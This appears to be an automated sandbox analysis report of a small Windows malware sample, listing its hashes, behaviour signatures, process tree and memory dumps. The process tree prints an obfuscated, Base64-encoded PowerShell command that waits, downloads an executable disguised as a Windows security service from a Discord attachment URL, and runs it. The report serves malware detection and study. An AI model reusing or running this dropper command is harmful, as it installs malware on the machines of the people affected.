Analysis
-
max time kernel
89s -
max time network
94s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
-
submitted
03-12-2022 23:13
General
-
Target
rtyrryr.exe
-
Size
6KB
-
MD5
f853ede612b21de687500cd9892c37ad
-
SHA1
fbb1e62b890b50f1ab552cefb6a7b24db875fbb6
-
SHA256
e1178760d7690fdba91528ff2053a646c84774a721fa554fc94130bd50375ac0
-
SHA512
4de3e875a111cd90eda4c59d554d8eb4001d18e1f2fde173ba74f24a78decbe74e5327654bf30693943bc224f81c728686cd4c2650f36ed8ae47d60a0211c42b
-
SSDEEP
96:9xr79BTaCF5NTcM4tweWvk+PneJtNNtUqGsukdNx2d3oj+rl:9xX9FBFDT4qJvkwnEfNtUqGsukR2dZ
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\rtyrryr.exe"C:\Users\Admin\AppData\Local\Temp\rtyrryr.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAbgBiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAyADQANwA3ADQAMQA3ADYANgA4ADgAMAA4ADcAOAA1AC8AMQAwADQAMgA0ADcANwA1ADUANAA4ADQANwA3ADEAOQA0ADQANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGoAcABmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB0AHAAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBkAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAByAHkAcgB0AHkAdAByAHkAcgB0AHkALgBlAHgAZQAnACkAKQA8ACMAZQBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcwBmAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG0AbQBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHQAcgB5AHIAdAB5AHQAcgB5AHIAdAB5AC4AZQB4AGUAJwApADwAIwBiAHcAdgAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1376-56-0x0000000000000000-mapping.dmp
-
memory/1376-58-0x000007FEF49D0000-0x000007FEF53F3000-memory.dmpFilesize
10.1MB
-
memory/1376-59-0x000007FEF3190000-0x000007FEF3CED000-memory.dmpFilesize
11.4MB
-
memory/1376-60-0x00000000024D4000-0x00000000024D7000-memory.dmpFilesize
12KB
-
memory/1376-61-0x00000000024DB000-0x00000000024FA000-memory.dmpFilesize
124KB
-
memory/1376-62-0x00000000024D4000-0x00000000024D7000-memory.dmpFilesize
12KB
-
memory/1376-64-0x00000000024D4000-0x00000000024D7000-memory.dmpFilesize
12KB
-
memory/1376-63-0x00000000024DB000-0x00000000024FA000-memory.dmpFilesize
124KB
-
memory/1484-54-0x00000000012C0000-0x00000000012C8000-memory.dmpFilesize
32KB
-
memory/1484-55-0x000007FEFC5A1000-0x000007FEFC5A3000-memory.dmpFilesize
8KB